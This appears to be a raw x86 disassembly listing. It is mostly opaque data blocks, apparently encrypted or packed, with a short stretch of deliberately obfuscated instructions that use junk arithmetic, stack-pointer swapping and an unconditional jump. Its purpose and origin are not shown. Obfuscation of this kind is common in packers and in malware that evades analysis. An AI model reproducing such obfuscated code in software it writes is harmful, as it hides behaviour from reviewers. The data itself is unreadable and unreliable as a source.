		dd 74D5C0AFh, 0CE9h, 77D1F400h,	0CB30BD0Fh, 6D6FA4A4h
		dd 0C8C166F1h, 55006A08h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0FCB33517h, 9A4A8589h
		dd 6A062Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 3A76CFC3h, 0ADE68160h, 0F72B3BEh,	6661DABFh
		dd 6A08CBC1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0F1BC355h, 18Ah, 0FB83F900h, 69850F40h
		dd 0E9000000h, 9, 27E64E02h, 0F8AC148Bh, 1EBD8DEEh, 6A062D9Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 88B1C357h, 8800F11h, 60000000h, 0BA666160h
		dd 6061E175h, 0DE8h, 76789600h,	1FBCEBADh, 92DC2B72h, 0B9664D8Eh
		dd 0F5EC974h, 6061F2BFh, 8B66C68Ah, 61E961D7h, 0F9000001h
		dd 0F0DFB83h, 3885h, 0BD8DFC00h, 62D9A26h, 14AE9F9h, 56600000h
		dd 0AE8h, 0D1AC5B00h, 0D3A6EBFFh, 5B83BF21h, 44B9665Ah
		dd 66606163h, 1E29CB81h, 6880Fh, 0C1810000h, 9C2F3B8h
		dd 1FB8361h, 73850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0AE968C3h, 1D000000h
		dd 83AE9C60h, 0D29258AEh, 0BD8DF9BBh, 62D9A2Eh,	0CE9h
		dd 0F9FEC300h, 72BD3148h, 579B2F71h, 0CEE9F4h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 680CE2C3h, 599DDD76h, 0C68B606Fh, 61B8CC80h,	2AFB83FCh
		dd 3B850Fh, 8DFC0000h, 2D9A36BDh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0FD5BD12h
		dd 0A81h, 0C8816000h, 2FC08AF0h, 0E96164B1h, 60h, 27FB83F9h
		dd 37A850Fh, 0F600000h,	58Dh, 0E0816600h, 10E9F57Dh, 6D000000h
		dd 0BF54C3B5h, 0AD58DF9Ch, 181CEB4Dh, 61F3A229h, 9A3EBD8Dh
		dd 6A062Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0FA3F3C3h, 0A80h,	0C1806000h, 0C3BCB9F2h
		dd 0FC611862h, 9A4EBD89h, 6A062Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0E6D7EFC3h, 21A87CEEh
		dd 0C870F86h, 0E9000000h, 7, 0EF0A836Ah, 669A01E0h, 0BF60C88Ch
		dd 6E7D6478h, 11E9h, 8EA7CC00h,	0EB988C48h, 43471AB9h
		dd 37186A79h, 2461C817h, 0D870F03h, 60000000h, 0F755F081h
		dd 81667413h, 61BDACD6h, 850FC00Ah, 1D0h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 14h, 4AC35141h, 0A16CB58Dh
		dd 6A062Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8B6A46C3h, 2DA22085h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 525092DFh
		dd 6830Fh, 860F0000h, 0
		dd 8D0F310Fh, 2, 585A6160h, 0FE96050h, 5E000000h, 0F46B0380h
		dd 18E456E5h, 1DB53F61h, 0EDBB5F10h, 6126EA15h,	81666092h
		dd 8124BFEFh, 4391D1F2h, 10F610Eh, 6AFE244Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 9EA3C352h, 41309F6h,	8B605BAEh, 27FFBAC6h, 5A6105FFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4BC35242h
		dd 80041D81h, 4820Fh, 53600000h, 0C283615Ah, 0FE924h, 0A6CA0000h
		dd 0F106D5Ch, 0D5F7903Ch, 7C113451h, 72896615h,	12E860FCh
		dd 1C000000h, 0DA477B9Ah, 9D5E314Bh, 3EDF125Ch,	7E7AED37h
		dd 0F6BF0F9Ch, 0FE95Ah,	0A4540000h, 23D7025Fh, 0D87CFEFCh
		dd 3E3613D3h, 0CEC16148h, 0BA666010h, 840F55E3h, 0Bh, 5E8h
		dd 82657B00h, 6159D663h, 2728966h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0F8C35343h,	32325599h, 60183D19h
		dd 5E9C1h, 123E0000h, 0CD7BB659h, 0BF0F6004h, 12E961FEh
		dd 0CE000000h, 64FD2DEh, 105587CDh, 0E3781947h,	59BB3D3Ah
		dd 0BCE9ADh, 0DE90000h,	0BD000000h, 6B5BBAB3h, 9194F4CCh
		dd 0E4F8928Eh, 0A220858Bh, 6A062Dh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 66D47AC3h
		dd 8B66602Fh, 850F61CBh, 7, 0D9B70F60h,	8D61FB8Bh, 2DA16CB5h
		dd 11E96006h, 3D000000h, 786CCD7Dh, 4D88FDFCh, 88AB5018h
		dd 5C0CF6DBh, 7E856h, 92A00000h, 19D7180Ah, 615A58A8h
		dd 18E0Fh, 8DF80000h, 2D57D885h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0CE927h, 1260000h
		dd 3B035060h, 0CB48E3A6h, 0D0FFF81Ch, 5E9h, 43A03900h
		dd 85896DA0h, 62D9A46h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0D8C35646h, 7AFFDAE3h, 7E9h, 0B74ED500h
		dd 639771CAh, 14E961h, 9CB30000h, 74BC1273h, 8B982CF5h
		dd 5FBDACE7h, 63E46FE5h, 858BCC50h, 62D9A46h, 12E9h, 9F5D9B00h
		dd 7948B13Ah, 2E7DE471h, 5BBB87C3h, 0C3C0868Ah,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 5EC35141h, 0E3136E25h
		dd 0E9F4C767h, 8, 0C7080046h, 0A2DD8D0Fh, 51006A60h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 715FE925h, 0E401C212h, 20BD83F8h, 62DA2h, 43850Fh, 66600000h
		dd 0F81805BEh, 14E961h,	42710000h, 0A351AA10h, 845DBE04h
		dd 0F851272h, 79A96E5Bh, 85C72BE0h, 62DA220h, 1013Fh, 13E9h
		dd 1BD15000h, 0C47631F3h, 198B5A34h, 0A52E6744h, 4C2A7E0h
		dd 38E9F9h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0BF4A0BC3h, 0CE44BAF2h, 0B96050A7h
		dd 543975EAh, 0E015D881h, 0F6133DCh, 18Ah, 20CDF900h, 0
		dd 3774C00Bh, 8B0C708Dh, 2D9A4EBDh, 8B906h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 2D9A4A9Dh, 34583B06h,	0D38B157Fh
		dd 304D26Bh, 89018BCAh,	2D9A4685h, 8B04EB06h, 61C5EB00h
		dd 9A46858Bh, 6ACF062Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 8327C353h, 0F9F96071h
		dd 52006A61h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F8513B8h, 781h,	0BF0F6000h, 616160C2h
		dd 18850Fh, 13E90000h, 0A2000000h, 7EC9F1C2h, 0A8EB59D1h
		dd 0A26CEF46h, 682A1658h, 0C08BB174h, 0BE8h, 0B5024500h
		dd 8A98C502h, 0E5C804A5h, 7E8h,	0DF157F00h, 9BA7CFDBh
		dd 6E9h, 0F3C53F00h, 5B9CE7BBh,	0B866605Eh, 8166AB8Ah
		dd 61830ED9h, 5D28C681h, 0D18B0000h, 171468h, 38E38100h
		dd 5F50DAC6h, 0E67DD381h, 0E8B73E7h, 81C0B70Fh,	0A4DBB7F1h
		dd 8A0F61h, 81000000h, 3CE917F1h, 0D830F64h, 0E8000000h
		dd 5, 52A9E947h, 5B5A5732h, 5648C181h, 8C0F715Dh, 3, 5139C680h
		dd 7E9h, 8DE8B000h, 387CDE90h, 98BB068Fh, 8175EDE8h, 0F6B411EEh
		dd 0C28B6611h, 0B40DC681h, 0D38B11F6h, 0F01EF83h, 1185h
		dd 0E9D98B00h, 25h, 0EBDC32C7h,	3F25694Dh, 0D38BD8A9h
		dd 0FFFF81E9h, 1B0B2BFFh, 92ED1F5Dh, 2827FD55h,	2569B50h
		dd 0E7E71C68h, 108E908h, 0C48E0000h, 5C971DBDh,	88838A05h
		dd 0A1D76A1h, 8FDD7A0Eh, 6D373353h, 3D557D2Fh, 0D57F2D77h
		dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh
		dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh,	0DF6D171Eh
		dd 20602075h, 0E0202060h, 0AC2060E0h, 0A9F77B68h, 0D020A1E4h
		dd 0EDA693B2h, 91B99DB7h, 20ACA3F2h, 20602060h,	0E0202060h
		dd 752060E0h, 0D0A3353h, 20557D2Fh, 20602060h, 2BA72860h
		dd 0C950F036h, 0EFB6F360h, 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h
		dd 0F76DB9E9h, 2 dup(20602060h), 0DF6DF720h, 0D773351Ah
		dd 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh,	0D57F2D77h
		dd 577DD77Dh, 0DF6DF73Dh, 0D773D575h, 0F73D577Dh, 75D55FEDh
		dd 6D373353h, 1E357D2Fh, 7000E0Ah, 0A3D25D34h, 1E59A0h
		dd 8 dup(0)
		dd 0A2E90000h, 6800000Ch, 62DA770h, 0FCD959E9h,	0A85368FFh
		dd 4FE9062Dh, 68FFFCD9h, 62DA951h, 0FCD945E9h, 0AA1E68FFh
		dd 3BE9062Dh, 68FFFCD9h, 62DAA9Ah, 0FCD931E9h, 0AB7968FFh
		dd 27E9062Dh, 68FFFCD9h, 62DAC6Ch, 0FCD91DE9h, 0AD7268FFh
		dd 13E9062Dh, 68FFFCD9h, 62DAE3Ch, 0FCD909E9h, 0AF0368FFh
		dd 0FFE9062Dh, 68FFFCD8h, 62DAFB2h, 0FCD8F5E9h,	76E602FFh
		dd 91DD24DCh, 0AEC43FF7h, 0CEAA5C14h, 0EC887C34h, 28AC7652h
		dd 46FE98DCh, 651DB7BFh, 863ED882h, 745AF47Ch, 21CF665Bh
		dd 5BF0289Dh, 0A5CB378Bh, 96DA28F6h, 18ED459Fh,	0B354745Eh
		dd 694D78CEh, 1F1678D5h, 0CC360CFFh, 8610F5A4h,	9B9BDFF7h
		dd 984FBD68h, 26376A12h, 0DFC9AD58h, 93434D44h,	0D362573Eh
		dd 1226F82h, 1269A11Eh,	0AFD7D9AFh, 0FD0E1F55h,	8BAA9F4Eh
		dd 2C22705Dh, 0B6ABCAC1h, 24466060h, 74CCB621h,	9048E28Eh
		dd 0DB14FE72h, 837AF40Dh, 9A601C1Eh, 8928D928h,	0FBE5F678h
		dd 915661A3h, 0A2CEB8C9h, 80C2518h, 0CD350BFEh,	0B15109A3h
		dd 8A740402h, 5FD95C51h, 73DE289Ah, 2E675162h, 0DBD2A660h
		dd 210B659Dh, 0C0968993h, 0C6942E42h, 0D911F104h, 594CCh
		dd 71560400h, 8FBC456Bh, 0F86285E4h, 88EA19E7h,	4AF5391h
		dd 7C6677E3h, 0DE5D5E43h, 0AA85F7A4h, 0E38D75B3h, 0FB449949h
		dd 37CF9D4Ch, 0E3F48084h, 2675EF9h, 24456368h, 0DABF6ED9h
		dd 5449BE26h, 289A2EE1h, 0F4866BD6h, 0E03A3171h, 9A7AD861h
		dd 0F5E81828h, 1207C109h, 580FD9h, 0D1800000h, 9A7359DCh
		dd 1719228h, 459D94FFh,	83B2A756h, 34226F7Dh, 9B05E4C9h
		dd 0EF6ABA48h, 866DC2F8h, 6FA3A491h, 9FB01B22h,	7CB7FBF0h
		dd 0EFF82445h, 99893BFAh, 117C28h, 89A29716h, 1E4E2899h
		dd 198B3F2Bh, 345D911h,	0B6000001h, 7D231207h, 29942899h
		dd 0CB37DA32h, 0A163BBA5h, 7191E9D3h, 658250FFh, 4CA4FEF5h
		dd 0F0371CB6h, 0CA22C392h, 236DC8BDh, 0E7522270h, 47920202h
		dd 0E5F688B1h, 0DB7F6836h, 0A6C99F1h, 7D748520h, 67369473h
		dd 0E31F2270h, 8F9DE8Dh, 156F6F5Dh, 0EE879188h,	97B9E120h
		dd 0D0B060EBh, 23615869h, 57A791DFh, 150AB902h,	24461A9Dh
		dd 145AA775h, 41C18F2Ah, 5BC6382Fh, 73BC11C1h, 152015C4h
		dd 0AA289A15h, 0E092713Fh, 45645BF6h, 6E600250h, 0A554BF2Ah
		dd 98472DD7h, 89C622B3h, 0D5CCEA9Fh, 83F113CBh,	612D7C7Dh
		dd 2773CD64h, 925h, 0A13B21C7h,	0BC5618E9h, 0D973FF04h
		dd 0F993E521h, 17B1C341h, 17ED713Bh, 0FA0BC35Dh, 0BD2AE27Ch
		dd 0B74B039Dh, 20391FB9h, 9D240A2Bh, 4818AD28h,	0DA7CD37h
		dd 0F6DC8F74h, 0CAF109C7h, 765BA992h, 3A315114h, 0BB6A06FCh
		dd 0DA7417D6h, 2F2676E7h, 0EA3F5325h, 4E43F2A1h, 226F7CE7h
		dd 57766DD8h, 45565062h, 1C067124h, 99A79C9Dh, 31245428h
		dd 11378545h, 0CD4BD9h,	0EEBC0000h, 0D655C14h, 0BBA5CB37h
		dd 0D116A163h, 0F8E7889h, 226F7FBBh, 6C066A98h,	62F24D3h
		dd 0B9226F80h, 0E919574Eh, 0F84D9D87h, 0A70B00AFh, 824455Eh
		dd 9E09EE9Dh, 758DF9B7h, 0DBDC7BEh, 0CBC06FB8h,	2A6EC096h
		dd 50FFAE19h, 75BFDA5Bh, 80F21122h, 0FD1C137Eh,	59FD52Fh
		dd 0B7BDB74Dh, 6460CB4Ch, 4257A3FDh, 0E4000008h, 6BE5804h
		dd 21D973FBh, 3EF690E2h, 5E16B0C8h, 5834CEA6h, 7AFA0A8Eh
		dd 99DD28E0h, 0BAA047FFh, 0D69A6820h, 483D563Ch, 289D24EDh
		dd 566D3DD2h, 3203F8A7h, 85226F7Dh, 7D10251Ah, 5FA226Fh
		dd 226F7D30h, 0F21A1C87h, 0DA755F0Fh, 7094D2C9h, 98DB4D30h
		dd 0BDCEC07Bh, 0D9976B23h, 2AD8A63Fh, 37F74F46h, 63BBA5CBh
		dd 5E37D19Fh, 1A09EE45h, 3B907DABh, 68F2F5C3h, 0FFE63B71h
		dd 6FB12B0Ah, 10218C22h, 0E03B261h, 226FB127h, 0D1362D98h
		dd 24459021h, 0E84D42F1h, 0CF28998Fh, 0D3FB6D64h, 87AEA32Fh
		dd 38289990h, 37D2BCCDh, 8B886D26h, 60E2D11Ch, 6413C20Bh
		dd 51E3C66Fh, 978EF91Bh, 6FBC978h, 0E60C7168h, 4B1D27C5h
		dd 51A6F6E0h, 0ADBE9C4Bh, 428909FEh, 0BB26230Bh, 0ADC53E0Ch
		dd 5A5127DFh, 0DB956D3Bh, 2CDAA841h, 0EB17554Ch, 4C8E7F85h
		dd 61BB5D40h, 74415h, 5A02E600h, 75F908C0h, 92E023DBh
		dd 0B2C640F8h, 0D0A46018h, 0C905A36h, 2AE27CF8h, 49019BDBh
		dd 6A22BC9Eh, 583ED898h, 25EB4A3Fh, 37CC289Dh, 0A5CB3767h
		dd 5D382BBh, 0EF8A74FEh, 6F7D3BFAh, 1A117C22h, 97468FE4h
		dd 45609CA2h, 58F25D24h, 5B0A53A8h, 6CFB4266h, 6918832Ah
		dd 6F09679Bh, 3B254BB7h, 0A3CF3402h, 0F1271EB9h, 0AFA4539Ch
		dd 244A66D0h, 0AB792893h, 0BB6A1957h, 99A16FC6h, 0EEE55028h
		dd 9AD62CE4h, 19277B0h,	0BD7468A9h, 561CE7B5h, 8BD4295Fh
		dd 84482DDCh, 0A6D75106h, 46A49186h, 0B01B289Ah, 2743A89Fh
		dd 982A703Dh, 0E5219270h, 0FD0EA993h, 67E2A413h, 0F4A9BBABh
		dd 4BCCD2E3h, 0FE645B6Eh, 67758A4h, 0CF190000h,	0C63BF38Dh
		dd 0AD560EA8h, 93732BC5h, 71934BE5h, 0C38D6903h, 15AFC53Fh
		dd 34CEA85Dh, 55EF6B7Ch, 710B659Dh, 0B87D728Bh,	0FF289D26h
		dd 0EA3F9A6Ah, 0FAFDF2A1h, 0BD2442DFh, 2DD5A352h, 62577D86h
		dd 289D1FD3h, 7E6879E4h, 8038D2E3h, 0B404EE82h,	7267165Fh
		dd 2A7302CCh, 0A16331E0h, 594EE9D3h, 2276FCDCh,	59AA78E3h
		dd 9D942F19h, 67BAC02Bh, 0E2646208h, 5FB3C88h, 4B9D0000h
		dd 42BF7711h, 29DA922Ch, 0FF7AF49h, 0ED17CF69h,	4711ED87h
		dd 993341C3h, 0B85224E1h, 0D973E700h, 0F58FE121h, 3401F60Fh
		dd 8B289D27h, 0EA3F26F6h, 6A9821E4h, 35E4F506h,	42D86840h
		dd 8FDAC24h, 289D212Dh,	4D373FC6h, 7C88B0B2h, 62730EF8h
		dd 82B7BD7Dh, 0ECE3503Ah, 0B1600F7Ah, 9C9C79BCh, 0DCD33E28h
		dd 5D13EFBDh, 0A55C2AC3h, 7644DFC9h, 0B4F2E971h, 0E838224Eh
		dd 0CD9B4A93h, 0B8533D37h, 0D2ADA2C1h, 952A6FFEh, 0EE8F0356h
		dd 0D9EA844Bh, 3AAD7B2Ah, 0A49B3620h, 3AD49C66h, 4230D3A1h
		dd 88C6BD58h, 7947F67Ah, 63FEE88Ah, 6DC2126Ch, 2A907524h
		dd 79BCB1EEh, 3E22701Fh, 5CB7EED3h, 7368877Eh, 2445A5F7h
		dd 6D9269A8h, 0DD3B4685h, 0DC65C6CCh, 8AE46A84h, 51C3Eh
		dd 322ABE00h, 4D21E098h, 6A08FBB3h, 8AEE18D0h, 0A8CC38F0h
		dd 0E468320Eh, 2BA5420h, 21D97303h, 42FA94C6h, 3016B0C0h
		dd 28132217h, 0FA4289Dh, 0A5CB373Fh, 0E35247F6h, 0D4226F7Ch
		dd 0C0187269h, 0FB942E42h, 0B39DD72Dh, 96EB2118h, 0C1A99E4Dh
		dd 7E244559h, 8FAA2913h, 612899A1h, 78523E31h, 58D9112Dh
		dd 31h,	0E4EA3F90h, 74725703h, 8B25B57Dh, 0A99E4D5Eh, 24455C09h
		dd 0D2513BA6h, 2899AC67h, 7A665989h, 0D9113D50h, 9C80h
		dd 0DF23F100h, 150CA791h, 0A5CB37BDh, 0D3A163BBh, 0FF7191E9h
		dd 2B45BD15h, 8018B291h, 5FD226Fh, 0E919D16Bh, 0F84D9D87h
		dd 2F0B00AFh, 9024456Ah, 86DB8B25h, 50998E3Dh, 0CF2A6DE1h
		dd 70D0B564h, 2B72B5F2h, 4CFB1A11h, 0C08DA89Dh,	0C7322275h
		dd 27292D0h, 2054B068h,	60CC1B1Ah, 88D42E64h, 429h, 0A53F1DCBh
		dd 0C05A14EDh, 0DD77FB08h, 0FD97E125h, 1BB5BF45h, 13F1753Fh
		dd 0F60FC761h, 0B92EE680h, 0B34F07A1h, 243D23BDh, 9D29062Fh
		dd 5424B928h, 0DA7CD37h, 29C3AD55h, 0A1EA3F57h,	56B5FDF2h
		dd 8FFA2445h, 0A71326A5h, 24E02899h, 0F80E6650h, 69279680h
		dd 0F8912AB4h, 0BDB03ADCh, 0B0A3D3A4h, 9DDB2BF9h, 0CD2118B3h
		dd 0D911A5FDh, 0D3D3h, 88560B00h, 0DB1267Eh, 0B0BCE920h
		dd 3E30D19Fh, 84C2B954h, 0B008F27Eh, 0D3A16354h, 1EDD43EEh
		dd 2A3BF61Ah, 0F909C140h, 18EA226Fh, 7625BE58h,	6FF7B481h
		dd 0F1A00B22h, 6FF739FCh, 1C137E22h, 624C24DEh,	0C574BD12h
		dd 0F7142116h, 40AB226Fh, 0AD7B2A49h, 0BE231A54h, 2445E17Ch
		dd 9040DA45h, 4E43F23Bh, 2A6E24FCh, 0BD8B3AA5h,	0DB932D47h
		dd 9FEAD29h, 2276552Ch,	2332893h, 0B5227655h, 557EB7ACh
		dd 0D6412276h, 91AEB4C5h, 0B8646160h, 323125Eh,	23C50000h
		dd 1AE79F39h, 102BA54h,	0E71FD771h, 0C53FF791h,	6F3915AFh
		dd 0C15B19EBh, 0E07AFC09h, 19BBF28h, 1DB7B949h,	0C291E37h
		dd 0B3289D2Ah, 0CD374E1Eh, 0AD550DA7h, 0BC4614C3h, 0E1B3BDB4h
		dd 597B8856h, 6F7CD164h, 6A7BE622h, 180F4B9Ch, 807428DAh
		dd 0A2BBEDFFh, 61D4C978h, 56227069h, 98F0DAEBh,	936C066Ah
		dd 0E22B800Eh, 47B43E33h, 0A20D2446h, 0D58D04E9h, 196E8C84h
		dd 39F83D32h, 54BFC48Fh, 3A85B0A5h, 0CF3AC48Fh,	9C1A0FBEh
		dd 1DC66520h, 2378C8B2h, 0B7D1DA06h, 5364E923h,	84E3AFA4h
		dd 319CC878h, 654EB482h, 2BC5D6A0h, 4E438F73h, 0C48782E7h
		dd 947EFA0Ch, 7B8CF7F9h, 728ED475h, 0CF1B7506h,	259h, 0D56FEDFBh
		dd 0F08AE41Dh, 0DA7CB38h, 2DC7B155h, 4BE58F75h,	0E321A56Fh
		dd 0C63FF791h, 895E16B0h, 837F37D1h, 546D53EDh,	9D2AD65Fh
		dd 8454E928h, 0BBA5CB37h, 1ECD166Bh, 457D4129h,	0F993FE24h
		dd 709260h, 0A7EDAA09h,	8C5A0952h, 7914FE7Ah, 846E6382h
		dd 3D2A6F5Bh, 0A3F63F34h, 8AC9226Fh, 0F0C5AAD4h, 91A2B3B4h
		dd 0EDCAF3D8h, 74C99EE1h, 6B877C2Bh, 0C4E0D414h, 146FC6BBh
		dd 0E550DD14h, 0E3B1EAD4h, 245A511Fh, 0E2D786CFh, 0DEE794B0h
		dd 8B766D1h, 878D4423h,	0E9DE5D49h, 0DEF88F4Ch,	0C0C4E590h
		dd 0A7A9A8F0h, 7726453Ch, 0FB50AE92h, 0EFE64529h, 851F51B1h
		dd 353B35CDh, 20E3B41Eh, 9285D12Bh, 34000001h, 560EA8B4h
		dd 7129C3ABh, 8E46E092h, 0AE660078h, 0A8841E56h, 0CAAA5ADEh
		dd 0E98D7830h, 0A50974Fh, 264AB870h, 988DA68Ch,	289D2C9Dh
		dd 37BD8D22h, 991AE8CBh, 0E7F8096Bh, 0DF6C4FDh,	0BEEFE991h
		dd 0A3B41BE1h, 0F1271EB9h, 0AFA4539Ch, 2445EFBFh, 0A27B1580h
		dd 0FA4398F6h, 0CD9C564Bh, 0AA152A6Fh, 0E6490CF1h, 0D52A9A9Dh
		dd 0AE8DD8Ch, 0A7DD3818h, 4135D09Eh, 6EC7BC57h,	51E14818h
		dd 0B2EBD5E6h, 0C2FD5DCDh, 8F86C457h, 0CBB0459h, 768F5Dh
		dd 1F847B16h, 0E31BC973h, 24F2A10Ch, 40F892DEh,	0B5A8AEC2h
		dd 941D4FD5h, 0E3EE3Ah,	63850000h, 5AA75FF9h, 41C27A14h
		dd 27DF9731h, 5FFB751h,	2FF9D56Fh, 811B59ABh, 0A03A3CC9h
		dd 0C15BFFE8h, 0DD77F909h, 4CE9DEF7h, 73289D2Ch, 0CB370EDEh
		dd 6F591DE8h, 89D9C3D4h, 473CEB34h, 24455C5Fh, 0F1F04B3h
		dd 0C3027454h, 49EB4A3Fh, 61CC289Ah, 0A7B9F86Ah, 698410B0h
		dd 0B27555E1h, 6576CE47h, 5321BA54h, 1D12C1AFh,	289A1F18h
		dd 73D349Fh, 0C5BA69B2h, 2A6D81BEh, 482AD901h, 7800065Eh
		dd 146C5667h, 4FE882EEh, 0B0376681h, 64A299AAh,	69E8D29Eh
		dd 3A060AACh, 0D4AA9D3Fh, 0F0A8422Eh, 0E1AF5E12h, 0FF719120h
		dd 72697A15h, 3246C018h, 5F13F048h, 8BE51D75h, 0F8EB75A1h
		dd 0D8CBE5DFh, 50B30002h, 0C5C93822h, 5BDC12CBh, 0E57F90A1h
		dd 0EC9BD52Dh, 988FE71Eh, 3F23Eh, 2E300000h, 0ABB137D6h
		dd 0D79969C1h, 85295EDh, 373FC61Eh, 650FF54Dh, 93E1237Bh
		dd 0C3B551A9h, 0F08281D9h, 1B53AE06h
		db 31h,	16h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 593A04F1h
		or	edi, 162334F8h
		or	edi, 715378CFh
		add	edi, 1E7513CDh
		sub	edi, 9DF090C8h
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		push	2B22h
		mov	[esp], ebx
		push	ebx
		mov	ebx, 694107A3h
		push	ebx
		push	614C6129h
		pop	ebx
		shr	ebx, 1
		sub	ebx, 55A63E2h
		inc	ebx
		sub	ebx, 8E5F2F21h
		mov	edi, ebx
		pop	ebx
		add	edi, ebx
		pop	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	0F38h
		mov	[esp], edx
		mov	edx, 8
		add	edx, ebx
		mov	[edx], edi
		pop	edx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		dd 6E3C8D3Ch, 0B0F3ECC4h, 25875D13h, 0B0BAB80Dh, 0C503062Dh
		dd 0CFCE0FFh, 0FD5002F9h, 86AF0F2Ch, 97714F74h,	2EC25573h
		dd 615E163Eh, 7BE87857h, 0CA3B5629h, 5F55333Bh,	0F4EC6C5Fh
		dd 0CFB248ABh, 0BEB159A7h, 0DC7022D9h, 8F064034h, 19E95E3Bh
		dd 0A4000000h, 3D6DE4h,	5 dup(0)
		dd 556E9h, 0DE7E6A00h, 0F9758C44h, 165CA75Fh, 3642C47Ch
		dd 5420E49Ch, 9014DEBAh, 0AE660074h, 0CD851F57h, 0EEA6401Ah
		dd 0DCC25C14h, 2E67CEC3h, 0C358289Dh, 0A5CB37F3h, 0D3A163BBh
		dd 0EF818139h, 5E55AD05h, 48E3CDA5h, 0CF54D37h,	82775FA5h
		dd 226F7DB3h, 9E889904h, 0E808F203h, 6F926247h,	0CEE73977h
		dd 0EEC4B7D7h, 0AC25C14h, 0CE7DDDh, 0EA856F03h,	8250E9F3h
		dd 0B30BF565h, 0A13C2634h, 8C5B9990h, 798CE4CEh, 758F13FDh
		dd 8FDCB82h, 0F2E9846Eh, 8D2733B4h, 7E862DD5h, 4D26358h
		dd 7AE52270h, 0D3E47F69h, 4D06AE9h, 0D8002270h,	8A7F2EE5h
		dd 227005ABh, 56AAA10Ch, 0D2E79574h, 645Ch, 0CB379400h
		dd 0B482BBA5h, 0D783644Dh, 4A41DCC6h, 6F7D56E5h, 5D507822h
		dd 4529D8A6h, 75C9C05Bh, 0D2E70E55h, 6CC9BE6Dh,	70226F71h
		dd 0A1613804h, 0CD383A4Dh, 1C5D6h, 37FD0000h, 27F5A4CAh
		dd 13AE98DEh, 976AC21Ch, 7CF14439h, 5BC6226Fh, 0FE08604Ah
		dd 1D2E48BDh, 7E711333h, 7B1559A8h, 97313FC3h, 0A7CD37C5h
		dd 0D29C65BDh, 0C5AF5523h, 0DDE674CEh, 3FC3F60Fh, 9B362031h
		dd 0BB9184A4h, 43BF8D49h, 7CFD382Dh, 0F1F6226Fh, 0E2E47F69h
		dd 14CC6677h, 5F9882EEh, 0E00C997Ah, 0C7BE571Bh, 49F87A89h
		dd 0F6ED8B7Bh, 1E11419Ch, 86A9967h, 411DBD11h, 6AD3D2E7h
		dd 44000000h, 0EFE68E76h, 0B2A75697h, 226F7D83h, 94D2C934h
		dd 87550470h, 0D0655A7Eh, 0E7226F7Ch, 0E6816B7Ch, 0C63D95EFh
		dd 0A2C2ACh, 0A7CD370Dh, 0C5AF550Dh, 0F58383DBh, 8D80B00Bh
		dd 77FB08D6h, 7AE2C80h,	3942D2E7h, 7A000000h, 0BDA7CD37h
		dd 25048265h, 0D164681Fh, 3F8A7485h, 1EE6BCAFh,	3F8A756h
		dd 22701B32h, 19231A85h, 0A4CA3747h, 7CFF3BBAh,	0A7CF226Fh
		dd 0E02C8B4h, 1CED2E7h,	6000000h, 0BCA6CC37h, 23D29E64h
		dd 0B4094D3Eh, 3F11D99Ch, 6F4928E4h, 0FE584F60h, 0B66D607Ah
		dd 715BFFE8h, 62A1DFD6h, 9CB87D72h, 94FF226Fh, 0E439E983h
		dd 53F7EC9Bh, 5F244578h, 0F1D35F7Ah, 0F37B6012h, 0B3251CACh
		dd 38CB9948h, 0CF8503Ah, 0D2E37E68h, 8C760204h,	48A0FAF1h
		dd 641CB6BAh, 5523D29Eh, 3DD8C2ACh, 0CE6DEC46h,	32289A3Fh
		dd 36FFF4A3h, 89289A40h, 1407271Eh, 0FDACC43Eh,	3FDC594Eh
		dd 0BE00289Ah, 0FB8A873Eh, 7970DBDDh, 254BB76Fh, 941FE33Bh
		dd 0BF50672h, 0AA80737Dh, 0E57E1858h, 8F86EC17h, 11818F3Bh
